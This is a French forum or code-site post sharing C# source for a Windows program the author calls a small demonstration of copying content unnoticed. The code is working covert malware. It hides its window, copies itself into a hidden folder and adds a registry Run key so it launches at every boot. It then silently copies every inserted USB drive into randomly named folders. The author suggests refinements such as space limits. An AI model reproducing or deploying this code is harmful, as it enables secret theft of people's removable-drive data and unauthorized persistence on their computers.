Suite à la lecture d'un article sur la sécurité j'ai été inspiré de faire ce petit programme qui montre bien la facilité à copier du contenu sans trop attirer l'attention.
Le programme, une fois exécuté, crée un dossier caché, se copie et installe une clé de registre qui permet de le faire exécuter à chaque démarrage. Il est possible en faisant démarrer-->exécuter-->msconfig de voir les fichiers qui s'ouvre au démarrage.
Il détecte si un disque amovible est inséré et copie le contenu dans le dossier avec un nom aléatoire.
Source / Exemple :
//////////////////////////////////////////////////////////////////////////////////////////////////////
/// créé le 2 Août 2010 et fonctionnel sur XP, modifié 13 août 2010
/// http://jo.comoj.com
//////////////////////////////////////////////////////////////////////////////////////////////////////
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using Microsoft.Win32;
using System.Runtime.InteropServices;
namespace ConsoleApplication17
{
class Program
{
// importte des dll pour cacher la fenêtre
[DllImport("user32.dll")]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// Crée un nombre aléatoire pour un nom de dossier
static Random rndNumbers = new Random();
static void Main(string[] args)
{
//vérifie si le répertoire qui reçoit les données existe
if (!Directory.Exists(@"C:\test\"))
{
//sinon on le crée
Directory.CreateDirectory(@"C:\test\");
// Console.WriteLine("répertoire créé");
// Console.ReadKey();
// l'exécutable se copie directement dans le répertoire cible
//Environment.CurrentDirectory+"usbcopie.exe"
File.Copy(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\test\usbcopie.exe");
// Console.WriteLine("fichier exécutable copié");
// mettre l'atrribut du répertoire caché
DirectoryInfo dirInfo = new DirectoryInfo(@"C:\test\");
dirInfo.Attributes = FileAttributes.Hidden;
// Console.WriteLine("attribut du répertoire : \"caché\"");
// Console.ReadKey();
}
//Console.ReadKey();
RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); //On //ouvre toujours la clé
if (!rkApp.GetValueNames().Any(s => s == "Bobo")) //Si la donnée n'existe pas, on la crée
{
//name of your application as you want it to appear in msconfig
rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe");
}
// Cache la fenêtre ...
IntPtr hWnd = FindWindow(null, Console.Title);
if (hWnd != IntPtr.Zero)// cache la fenêtre en cours
ShowWindow(hWnd, 0); // 0 = SW_HIDE
OkGo();
}
static private void OkGo()
{
// on enregistre le nombre de disques présent sur le système
int nrbLecteurs = DriveInfo.GetDrives().Length;
int noDossier=rndNumbers.Next();
while (true)
{
// si le nombre de lecteurs a changé
if (DriveInfo.GetDrives().Length > nrbLecteurs)
{
// Pour chaque lecteur
foreach (DriveInfo di in DriveInfo.GetDrives())
{
// Si c'est un disque amovible
if (di.DriveType == DriveType.Removable)
{
DirectoryInfo lecteurUSB = new DirectoryInfo(di.RootDirectory.ToString());
while (Directory.Exists(@"C:\test\" + noDossier))
noDossier=rndNumbers.Next();
DirectoryInfo receptacle = new DirectoryInfo(@"C:\test\" + noDossier);
Copie(lecteurUSB, receptacle);
//on incrémente le nom du répertoire pour une future sauvegarde
rndNumbers.Next();
// Console.WriteLine("ok bob" + receptacle.ToString() + lecteurUSB.ToString());
}
}
}
// on enregistre le nombre de lecteurs pour détecter les insersions
nrbLecteurs = DriveInfo.GetDrives().Length;
// dort pour pas engorgée le système
System.Threading.Thread.Sleep(1000);
}
}
// Copie récursive du lecteur USB
public static void Copie(DirectoryInfo source, DirectoryInfo cible)
{
// Vérifie si le répertoire existe, sinon il le crée
if (!Directory.Exists(cible.FullName))
{
Directory.CreateDirectory(cible.FullName);
}
// copie chaque fichier dans le nouveau répertoire
foreach (FileInfo fichier in source.GetFiles())
{
try
{
fichier.CopyTo(Path.Combine(cible.ToString(), fichier.Name));
}
catch { fichier.CopyTo(Path.Combine(cible.ToString(), rndNumbers + fichier.Name)); }
}
// Copie chaque répertoire de la source
foreach (DirectoryInfo sousRepertoire in source.GetDirectories())
{
// crée un sous-répertoire dans le répertoire cible et rappel la méthode avec comme source un répertoire
DirectoryInfo prochaineCible =
cible.CreateSubdirectory(sousRepertoire.Name);
Copie(sousRepertoire, prochaineCible);
}
}
}
}
Conclusion :
Ceci est un exemple seulement, il faudrait bien sûr limiter l'espace à copier par exemple 10Go et s'assurer que les noms des répertoires ne puissent revenir deux fois, etc.. ,etc..
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.